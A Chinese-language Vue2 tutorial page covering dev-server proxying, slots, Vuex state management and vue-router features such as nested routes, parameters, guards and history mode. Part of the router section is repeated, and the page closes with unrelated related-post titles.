module.exports = {pages: {index: {entry: "src/main.js",},},lintOnSave: false,//代理服务器方法一：// devServer: {// proxy: "http://localhost:8001"// }//代理服务器方法二devServer: {proxy: {"/server": {target: "http://localhost:8001",pathRewrite: {"^/server": ""}, //将请求头中的字符替换掉ws: true, //用于支持websocketchangeOrigin: true, //用于支持请求头中的host值}}}
}
App.vue
<template><div><button @click="getStudents">得到所有学生信息</button></div>
</template><script>
import axios from "axios"export default {name:"App",components:{},methods:{getStudents(){axios.get("http://localhost:8080/server/user/getAll").then(response => {console.log("请求成功了", response.data)},error => {console.log("请求失败了", error.message)})}}}
</script><style>
</style>
2.23 插槽
作用:让父组件可以向子组件指定位置插入hm结构,也是一种组件间通信的方式,适用于父组件=>子组件
分类:默认插槽、具名插槽、作用域插槽
使用方式
默认插槽
父组件： <Category><h1>hello world</h1> </Category>子组件 <template><slot>父组件不传入插槽时显示</slot> </template>具名插槽
父组件： <Category><h1 slot:center>hello world!</h1><p slot:footer>你好，世界!</p> </Category>子组件 <template><slot name="center">父组件不传入插槽时显示</slot><slot name="footer">父组件不传入插槽时显示</slot> </template>作用域插槽
理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。( games据在 Category组件中,但使用数据所遍历出来的结构由App组件决定)
具体编码
父组件： <Category><ul slot-scope="games"><li v-for="game in games">{{game}}</li></ul> </Category>子组件 <template><slot :games="games">父组件不传入插槽时显示</slot> </template> ... data(){return{games: ["穿越火线", "绝地求生", "欢乐斗地主", "魔兽世界"]}} ...
3 Vuex
安装vuex
npm i vuex创建store文件夹，并在其中创建index.js文件
//该文件用于创建Vuex中最核心的store//引入Vue import Vue from 'vue' //引入Vuex import Vuex from "vuex" //应用Vuex插件 Vue.use(Vuex)//准备actions-用于响应组件中的动作 const actions = {add(context, value){console.log("actions.add() 被调用了");context.commit("ADD", value)},subtraction(context, value){console.log("actions.subtraction() 被调用了"); context.commit("SUBTRACTION", value)},addWait(context, value){console.log("actions.addWait() 被调用了"); setTimeout(() => {context.commit("ADDWATI", value)}, 3000);},addOdd(context, value){console.log("actions.addOdd() 被调用了"); if(context.state.num % 2)context.commit("ADDODD", value)}, } //准备mutations-用于操作数据（state） const mutations = {ADD(state,value){console.log("mutations.add() 被调用了");state.num += value},SUBTRACTION(state,value){console.log("mutations.subtraction() 被调用了");state.num -= value},ADDWATI(state,value){console.log("mutations.ADDWATI() 被调用了");state.num += value},ADDODD(state,value){console.log("mutations.ADDODD() 被调用了");state.num += value}, } //准备state-用于存储数据 const state = {num: 99 }//创建并暴露store export default new Vuex.Store({actions,mutations,state, })main.js中引入vuex
import store from "./store"new Vue({render: h => h(App),store, }).$mount('#app')使用vuex
<template> <div class="container"><div class="row"><div class="col-md-offset-4 col-md-4"><h1 class="text-center">n的值是：<span class="text-danger">{{$store.state.num}}</span></h1><div class="col-md-3"><select class="form-control" v-model="selNum"><option :value="1">1</option><option :value="2">2</option><option :value="3">3</option><option :value="4">4</option></select></div><div class="col-md-9"><button class="btn btn-success" @click="add">+</button><button class="btn btn-info" @click="subtraction">-</button><button class="btn btn-warning" @click="addWait">延时+</button><button class="btn btn-default" @click="addOdd">奇数+</button></div></div></div> </div> </template><script> export default {name: "Counter",data(){return{selNum: 1}},methods:{add(){this.$store.dispatch("add", this.selNum)},subtraction(){this.$store.dispatch("subtraction", this.selNum)},addWait(){this.$store.dispatch("addWait", this.selNum)},addOdd(){this.$store.dispatch("addOdd", this.selNum)}} } </script><style> button{margin-left: 5px; } </style>
3.1 getters的使用
概念:当 state中的数据需要经过加工后再使用时,可以使用 getters加工。
在
store.js中追加getters配置const getters = {bigNum(state){return state.num * 10} }//创建并暴露store export default new Vuex.Store({actions,mutations,state,getters })组件中读取：
$store.getters.bigNum
3.2 四个map方法的使用
导入map
import {mapState,mapGetters} from 'vuex'
mapState方法: 用于帮助我们映射 state中的数据为计算属性
//借助mapState生成计算属性，从state中读取数据。（对象写法） ...mapState({num:"num", name:"name", address:"address"}), //借助mapState生成计算属性，从state中读取数据。（数组写法） ...mapState(["num","name","address"]),mapGetters方法: 用于帮助我们映射 getters中的数据为计算属性
//借助mapGetters生成计算属性，从getters中读取数据。（对象写法） ...mapGetters({bigNum:"bigNum"}), //借助mapGetters生成计算属性，从getters中读取数据。（数组写法） ...mapGetters(["bigNum"])mapActions方法: 用于帮助我们生成与
actions对话的方法,即:包含$store.dispatch(xx)的函数//借助mapActions生成方法。（对象写法） ...mapActions({add:"add", subtraction:"subtraction", addWait:"addWait", addOdd:"addOdd"}), //借助mapActions生成方法。（数组写法） ...mapActions(["add","subtraction","addWait","addOdd"])mapMutations方法: 用于帮助我们生成与
mutations对话的方法,即:包含$store.commit(x)的函数//借助mapMutations生成方法。（对象写法） ...mapMutations({add:"ADD", subtraction:"SUBTRACTION"}), //借助mapMutations生成方法。（数组写法） ...mapMutations(["ADD", "SUBTRACTION"])
3.3 模块化+命名空间
目的:让代码更好维护,让多种数据分类更加明确
修改
store.jsconst counterOption = {namespaced:true, //开启命名空间actions:{add(context, value){console.log("actions.add() 被调用了");context.commit("ADD", value)},subtraction(context, value){console.log("actions.subtraction() 被调用了"); context.commit("SUBTRACTION", value)},addWait(context, value){console.log("actions.addWait() 被调用了"); setTimeout(() => {context.commit("ADDWATI", value)}, 3000);},addOdd(context, value){console.log("actions.addOdd() 被调用了"); if(context.state.num % 2)context.commit("ADDODD", value)},},mutations:{ADD(state,value){console.log("mutations.add() 被调用了");state.num += value},SUBTRACTION(state,value){console.log("mutations.subtraction() 被调用了");state.num -= value},ADDWATI(state,value){console.log("mutations.ADDWATI() 被调用了");state.num += value},ADDODD(state,value){console.log("mutations.ADDODD() 被调用了");state.num += value},},state:{num: 1,name: "lyx",address: "蕲春",},getters:{bigNum(state){return state.num * 10}} }const personOption = {namespaced:true, //开启命名空间actions:{},mutations:{ADD_PERSON(state, value){console.log("mutations.ADD_PERSON() 被调用了");state.personList.unshift(value)}},state:{personList:[{id:"001",name:"张三"}]},getters:{} }//创建并暴露store export default new Vuex.Store({modules:{counterAbout:counterOption,personAbout:personOption} })开启命名空间后,组件中读取 state数据
//方式一：直接读取（state后接命名空间，用于区分该state属于哪个模块） this.$store.state.personAbout.personList //方式二：借助mapState ...mapActions("counterAbout",["addWait","addOdd"]),开启命名空间后,组件中读取 getters数据
//方式一：直接读取 this.$store.getters["counterAbout/bigNum"] //方式二：使用mapGetters读取 ...mapGetters("counterAbout",["bigNum"])开启命名空间后,组件中调用 dispatch
//方式一：直接调用 this.$store.dispatch("personAbout/addPersonWang",person) //方式二：借助mapAction调用 ...mapAction("personAbout",["addPersonWang"])开启命名空间后,组件中调用 commit
//方式一：直接调用 this.$store.commit("personAbout/ADD_PERSON_WANG",person) //方式二：借助mapAction调用 ...mapAction("personAbout",["ADD_PERSON_WANG"])
4. vue-router
4.1 相关理解
4.1.1 vue-router的理解
vue的一个插件库，专门用来实现SPA应用
4.1.2 对SPA应用的理解4
- 单页Web应用( single page web application,SPA)。
- 整个应用只有一个完整的页面。
- 点击页面中的导航链接不会刷新页面,只会做页面的局部更新。
- 数据需要通过ajax请求获取。
4.1.3 路由的理解
1. 什么是路由?
- —个路由就是组映射关系(key-vaue)
- key为路径 value可能是 function或 component
2. 路由分类
- 后端路由
- 理解: value是 function,用于处理客户端提交的请求。
- 工作过程:服务器接收到个请求时,根据请求路径找到匹配的函数来处理请求返回响应数据。
- 前端路由:
- 理解: value是 component,用于展示页面内容。
- 工作过程: 当浏览器的路径改变时,对应的组件就会显示。
4.2 基本使用
安装 vue-router,命令:
npm i vue- router应用插件:
Vue.use( VueRouter)编写 router配置项
//该文件用于创建整个应用的路由器 import VueRouter from 'vue-router' //引入组件 import About from "../components/About" import Home from "../components/Home"//创建并暴露一个路由器 export default new VueRouter({routes:[{path:"/about",component:About},{path:"/home",component:Home}] })实现路由切换
<!--active-class可以配置选中时的样式--> <router-link to="/about" active-class="active">About</router-link>指定展示位置
<router-view></router-view>
4.2.1 几个注意点
路由组件通常存放在
pages文件夹,—般组件通常存放在components文件夹通过切换,隐藏了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
每个组件都有自己的
$route属性,里面存储着自己的路由信息整个应用只有一个 router,可以通过组件的
$router属性获取到。
4.3 多级路由(嵌套路由)
配置路由规则,使用 children配置项
{path:"/about",component:About,children:[ //通过children配置子级路由{path:"news", //子级路由前面不能加/component:News},{path:"massages",component:Massages}] },跳转（要写完整路径）
<router-link to="/about/news" active-class="active">News</router-link>
4.4 路由的 query参数
传递参数
<!--跳转并携带 query参数,to的字符串写法--> <router-link :to="`/about/massages/detail?id=${m.id}&msg=${m.msg}`">{{m.msg}}</router-link> <!--跳转并携带 query参数,to的对象写法--> <router-link :to="{path:'/about/massages/detail',query:{id: m.id,msg: m.msg}}">{{m.msg}} </router-link>接收参数
$route.query.id $route.query.msg
4.5 命名路由
作用:可以简化路由的跳转。
如何使用
给路由命名:
//该文件用于创建整个应用的路由器 import VueRouter from 'vue-router' //引入组件 import About from "../pages/About" import Home from "../pages/Home" import News from "../pages/News" import Massages from "../pages/Massages" import Detail from "../pages/Detail"//创建并暴露一个路由器 export default new VueRouter({routes:[{name:"guanyu",path:"/about",component:About,children:[{path:"news",component:News},{path:"massages",component:Massages,children:[{name:"xiangqing", //给路由命名path:"detail",component:Detail }]}]},{path:"/home",component:Home}] })简化跳转
<!--使用完整路径跳转--> <router-link :to="{path:'/about/massages/detail',query:{id: m.id,msg: m.msg}}">{{m.msg}} </router-link><!--使用name简化跳转--> <router-link :to="{name:'xiangqing',query:{id: m.id,msg: m.msg}}">{{m.msg}} </router-link>
4.6 路由的params参数
声明接收params参数
//该文件用于创建整个应用的路由器 import VueRouter from 'vue-router' //引入组件 import About from "../pages/About" import Home from "../pages/Home" import News from "../pages/News" import Massages from "../pages/Massages" import Detail from "../pages/Detail"//创建并暴露一个路由器 export default new VueRouter({routes:[{name:"guanyu",path:"/about",component:About,children:[{path:"news",component:News},{path:"massages",component:Massages,children:[{name:"xiangqing",path:"detail/:id/:msg", //声明接收params参数component:Detail }]}]},{path:"/home",component:Home}] })传递参数
<!--跳转并携带 query参数,to的字符串写法--> <router-link :to="`/about/massages/detail/${m.id}/${m.msg}`">{{m.msg}}</router-link><!--跳转并携带 params参数,to的对象写法（必须使用name访问）--> <router-link :to="{name:'xiangqing',params:{id: m.id,msg: m.msg}}">{{m.msg}} </router-link>特别注意:路由携带 params参数时,若使用to的对象写法,则不能使用path配置项,必须使用ηame配置
接收参数
$route.params.id $route.params.msg
4.7 路由的 props配置
作用:让路由组件更方便的收到参数
//该文件用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
import News from "../pages/News"
import Massages from "../pages/Massages"
import Detail from "../pages/Detail"//创建并暴露一个路由器
export default new VueRouter({routes:[{name:"guanyu",path:"/about",component:About,children:[{path:"news",component:News},{path:"massages",component:Massages,children:[{name:"xiangqing",path:"detail/:id/:msg", //声明接收params参数component:Detail,//第一种写法: props值为对象,该对象中所有的key- value的组合最终都会通过 props传给 Detail组件 // props:{a:"hello"}// 第二种写法: props值为布尔值,布尔值为true,则把路由收到的所有 params参数通过 props传给 Detail组件// props:true//第三种写法: props值为函数,该函数返回的对象中每一组key-va1ue都会通过 props传给 Detai1组件props($route){return{id: $route.params.id,msg: $route.params.msg}}}]}]},{path:"/home",component:Home}]
})
4.8 < router-1ink>的 replace属性
作用: 控制路由跳转时操作浏览器历史记录的模式
浏览器的历史记录有两种写入方式:分别为
push和replace,push是追加历史记录（默认模式）,replace是替换当前记录路由跳转时候默认为push如何开启 replace模式
<router-link replace to="/about">About</router-link>
4.9 编程式路由导航
作用:不借助< router-link>实现路由跳转,让路由跳转更加灵活
具体编码
pushShow(m){this.$router.push({name:'xiangqing',params:{id: m.id,msg: m.msg}}) }, replaceShow(m){this.$router.replace({name:'xiangqing',params:{id: m.id,msg: m.msg}})}this.$router.back() //后退一步，底层调用 $router.go(-1) this.$router.forward() //前进一步,底层调用 $router.go(-1) this.$router.go(num) //前进或后退几步，num为正前进num步，num为负，后退-num步
4.10 缓存路由组件
作用:让不展示的路由组件保持挂载,不被销毁。
具体编码:
<keep-alive :include="['News']"><router-view></router-view> </keep-alive>
4.11 两个新的生命周期钩子
作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态
具体名字
activated路由组件被激活时触发deactivated路由组件失活时触发
<template><ul><li :style="{opacity}">hello vue</li><li>news 1 <input type="text"></li><li>news 2 <input type="text"></li><li>news 3 <input type="text"></li><li>news 4 <input type="text"></li><li>news 5 <input type="text"></li> </ul> </template><script> export default {name:"News",data() {return {opacity:1}},activated(){console.log("News 被激活");this.timer = setInterval(()=>{console.log("@")this.opacity -= 0.1if(this.opacity <= 0 ) this.opacity = 1}, 200)},deactivated(){console.log("News 失活");clearInterval(this.timer)},beforeDestroy(){console.log("News 即将销毁。。。")} } </script><style></style>
4.12 路由守卫
作用:对路由进行权限控制
分类:全局守卫、独享守卫、组件内守卫
全局守卫
// 全局前置路由守卫——初始化的时候被调用、每次路由切换之前被调用 router.beforeEach((to, from, next)=>{console.log("to: ",to)console.log("from: ",from)// if(to.path === "/about/news"){ //判断当前路由路径要进行权限控制if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制if(sessionStorage.getItem("role") === "admin"){next() //放行}else{alert("权限不足，无法访问！")}}else{next()} })//全局后置路由守卫—初始化的时候被调用、每次路由切换之后被调用 router.afterEach((to,from)=>{console.log("后置守卫：",to);console.log("后置守卫：",from);document.title = to.meta.title || "hellovue" //修改网页标题 })独享守卫
{path:"/home",component:Home,meta:{title:"主页"},beforeEnter: (to, from, next) => {if(sessionStorage.getItem("name") === "lyx"){next()}else{alert("权限不足，无法访问！")}} }组件内守卫
export default {name:"Home",//进入守卫:通过路由规则,进入该组件时被调用beforeRouteEnter (to, from, next) {console.log("beforeRouteEnter");if(sessionStorage.getItem("name") == "lyx"){next()}},//离开守卫:通过路由规则,离开该组件时被调用beforeRouteLeave (to, from, next) {console.log("beforeRouteLeave"); next()} }
4.13 路由器的两种工作模式
- 对于一个u来说,什么是hash值?—#及其后面的内容就是hash值。
- hash值不会包含在HTTP请求中,即:hash值不会带给服务器。
- hash模式
- 地址中永远带着#号,不美观
- 若以后将地址通过第三方手机app分享,若ap校验严格,则地址会被标记为不合法。
- 兼容性较好。
- history模式
- 地址干净,美观。
- 兼容性和hash模式相比略差
- 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题
4.13.1 前端解决history模式404问题
项目打包
npm run build初始化服务器
npm init使用express
npm i express解决history模式404问题的模块
npm i connect-history-api-fallback创建server.js
const express = require("express")const app = express() const history = require('connect-history-api-fallback'); app.get('/person', (req, res)=>{res.send({name:'tom',age:18}) }) app.use(history) app.use(express.static(__dirname+'/public'))app.listen(8888, (err)=>{if(!err){console.log("server 8888 启动成功");} })启动服务器
node server
5. UI组件库
5.1 移动端常用UI组件库
- Vant : https://youzan.github.io/vant
- Cube UI : https://didi.github.io/cube-uie
- Mint Ui : http://mint-ui.github.io
5.2 PC端常用U组件库
elEment Ui : https://element.eleme.cn
IView Ui : https://www.iviewui.com
component:Massages,children:[{name:"xiangqing",path:"detail/:id/:msg", //声明接收params参数component:Detail,//第一种写法: props值为对象,该对象中所有的key- value的组合最终都会通过 props传给 Detail组件 // props:{a:"hello"}// 第二种写法: props值为布尔值,布尔值为true,则把路由收到的所有 params参数通过 props传给 Detail组件// props:true//第三种写法: props值为函数,该函数返回的对象中每一组key-va1ue都会通过 props传给 Detai1组件props($route){return{id: $route.params.id,msg: $route.params.msg}}}]}]},{path:"/home",component:Home}]
})
### 4.8 < router-1ink>的 replace属性1. 作用: 控制路由跳转时操作浏览器历史记录的模式2. 浏览器的历史记录有两种写入方式:分别为`push`和`replace`,`push`是追加历史记录（默认模式）,`replace`是替换当前记录路由跳转时候默认为push3. 如何开启 replace模式```html<router-link replace to="/about">About</router-link>
4.9 编程式路由导航
作用:不借助< router-link>实现路由跳转,让路由跳转更加灵活
具体编码
pushShow(m){this.$router.push({name:'xiangqing',params:{id: m.id,msg: m.msg}}) }, replaceShow(m){this.$router.replace({name:'xiangqing',params:{id: m.id,msg: m.msg}})}this.$router.back() //后退一步，底层调用 $router.go(-1) this.$router.forward() //前进一步,底层调用 $router.go(-1) this.$router.go(num) //前进或后退几步，num为正前进num步，num为负，后退-num步
4.10 缓存路由组件
作用:让不展示的路由组件保持挂载,不被销毁。
具体编码:
<keep-alive :include="['News']"><router-view></router-view> </keep-alive>
4.11 两个新的生命周期钩子
作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态
具体名字
activated路由组件被激活时触发deactivated路由组件失活时触发
<template><ul><li :style="{opacity}">hello vue</li><li>news 1 <input type="text"></li><li>news 2 <input type="text"></li><li>news 3 <input type="text"></li><li>news 4 <input type="text"></li><li>news 5 <input type="text"></li> </ul> </template><script> export default {name:"News",data() {return {opacity:1}},activated(){console.log("News 被激活");this.timer = setInterval(()=>{console.log("@")this.opacity -= 0.1if(this.opacity <= 0 ) this.opacity = 1}, 200)},deactivated(){console.log("News 失活");clearInterval(this.timer)},beforeDestroy(){console.log("News 即将销毁。。。")} } </script><style></style>
4.12 路由守卫
作用:对路由进行权限控制
分类:全局守卫、独享守卫、组件内守卫
全局守卫
// 全局前置路由守卫——初始化的时候被调用、每次路由切换之前被调用 router.beforeEach((to, from, next)=>{console.log("to: ",to)console.log("from: ",from)// if(to.path === "/about/news"){ //判断当前路由路径要进行权限控制if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制if(sessionStorage.getItem("role") === "admin"){next() //放行}else{alert("权限不足，无法访问！")}}else{next()} })//全局后置路由守卫—初始化的时候被调用、每次路由切换之后被调用 router.afterEach((to,from)=>{console.log("后置守卫：",to);console.log("后置守卫：",from);document.title = to.meta.title || "hellovue" //修改网页标题 })独享守卫
{path:"/home",component:Home,meta:{title:"主页"},beforeEnter: (to, from, next) => {if(sessionStorage.getItem("name") === "lyx"){next()}else{alert("权限不足，无法访问！")}} }组件内守卫
export default {name:"Home",//进入守卫:通过路由规则,进入该组件时被调用beforeRouteEnter (to, from, next) {console.log("beforeRouteEnter");if(sessionStorage.getItem("name") == "lyx"){next()}},//离开守卫:通过路由规则,离开该组件时被调用beforeRouteLeave (to, from, next) {console.log("beforeRouteLeave"); next()} }
4.13 路由器的两种工作模式
- 对于一个u来说,什么是hash值?—#及其后面的内容就是hash值。
- hash值不会包含在HTTP请求中,即:hash值不会带给服务器。
- hash模式
- 地址中永远带着#号,不美观
- 若以后将地址通过第三方手机app分享,若ap校验严格,则地址会被标记为不合法。
- 兼容性较好。
- history模式
- 地址干净,美观。
- 兼容性和hash模式相比略差
- 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题
4.13.1 前端解决history模式404问题
项目打包
npm run build初始化服务器
npm init使用express
npm i express解决history模式404问题的模块
npm i connect-history-api-fallback创建server.js
const express = require("express")const app = express() const history = require('connect-history-api-fallback'); app.get('/person', (req, res)=>{res.send({name:'tom',age:18}) }) app.use(history) app.use(express.static(__dirname+'/public'))app.listen(8888, (err)=>{if(!err){console.log("server 8888 启动成功");} })启动服务器
node server
5. UI组件库
5.1 移动端常用UI组件库
- Vant : https://youzan.github.io/vant
- Cube UI : https://didi.github.io/cube-uie
- Mint Ui : http://mint-ui.github.io
5.2 PC端常用U组件库
- elEment Ui : https://element.eleme.cn
- IView Ui : https://www.iviewui.com
vue2+vue3小白零基础教程—vue2篇，全网2021最详细教程相关推荐
- python和循环语句_Python 小白零基础入门 -- 条件语句和循环语句
Python 小白零基础入门 -- 条件语句和循环语句 点击上方 "Python 读数", 选择 "星标" 公众号 重磅干货, 第一时间送达 Python 零基 ...
- 小白零基础搞unity手机跑酷游戏-01-GettingStarted
小白零基础搞unity2D手机跑酷游戏-01-Getting Started 策划 键位 内容 准备工作 这是我第一次在CSDN上写博客,是想锻炼一下自己,也是对自己的一种激励吧,毕竟立了一个很大的f ...
- python中5种简单的数据类型,Python小白零基础入门 —— 变量及简单的数据类型
微信公众号:「Python读财」 若有问题或建议,请公众号留言 最近想着出一个Python小白零基础入门系列的文章,但愿能对入门的小伙伴有所帮助,内容会囊括简单的数据类型.列表.字典.循环以及函数的定 ...
- c++ 结构体赋值_《零基础看得懂的C语言入门教程》—（十二）结构体是这么回事
一.学习目标 了解C语言的结构体的使用方法 了解C语言结构体的结构的赋值 了解多种C语言结构体变量的赋值方法和取值方法 目录 <零基础看得懂的C语言入门教程>--(二)简单带你了解流程 & ...
- 小白零基础学习Java编程好学吗?
Java作为一门基础性编程语言,伴随着IT行业的兴起.目前,学习Java的人变得越来越多,但是想要学好Java通过自学可没有那么容易,尤其是对于初学者而言.那么小白零基础学习Java编程好学吗? IT ...
- 零基础《7天学会PPT》系列教程（WPS版）—— 第3天 动感炫酷
Hi,我又回来了啦! 在第2天,你已经帮我打扮得漂漂亮亮啦: (我是PPT ^ ^) 零基础<7天学会PPT>系列教程(WPS版)-- 第2天 一键换装 就是有点死板,不信 ? 你打开看看 ...
- 小白零基础重装操作系统Win10
小白零基础重装操作系统Win10(由win7 32位重装成win10 64位并重新分区) 相信有不少没有装过操作系统的朋友和我一样,当需要重装系统的时候第一时间就想到了号称万能的某娘,但是某娘上的内容 ...
- 零基础《7天学会PPT》系列教程（WPS版）—— 第2天 一键换装
哎呀,好久不见,万分想念,终于盼到第2天了! 还记得第1天的故事吗? (忘记的朋友,可以简单回顾下) 零基础<7天学会PPT>系列教程(WPS版)-- 第1天 一页一故事 对,约会,你和我 ...
- Adobe Photoshop修改中英文语言教程？ps中文版变为英文版详细教程
Adobe Photoshop修改中英文语言教程?ps中文版变为英文版详细教程 有用户在使用Photoshop都会遇到需要更改软件语言的问题,例如动作插件,就要求在英文版本下的PS中使用,今天小编为大 ...
最新文章
- [Eclipse]GEF入门系列（九、增加易用性）
- java创建一个图片_Java 创建一个简单的验证码图片
- 图标圆角角度_UI设计中图标的规范及原则【附全套视频】
- 【正则化】DropBlock详解
- ARM处理器基本指令大全
- Oracle 11g R2查看表的存储结构
- Redis学习之字典源码分析
- 在Windows下的路径分隔符和Linux下的路径分隔符是不一样的
- c# 调用巴斯勒相机 进行图像识别
- 为什么说90%以上的创业者都在亏钱？
- 4246. 【五校联考6day2】san
- 我的世界java爱冰雪女王_我的世界美丽而又高冷 冰雪女王介绍
- 如何使用TPTP中的IDatapool
- 京东 PC 首页 2019 改版前端总结
- mysql 指定ip段 掩码_网络ip段划分子网掩码
- matlab logpolar,GitHub - luxinjin/polar-code: matlab simulation for polar code
- pcs增加mysql资源_PCS --- 常用命令及配置
- Hadoop集群实验
- 【美多商城项目01】了解主要需求和架构设计，创建配置工程
- 傲视天地 页游 一键端 自玩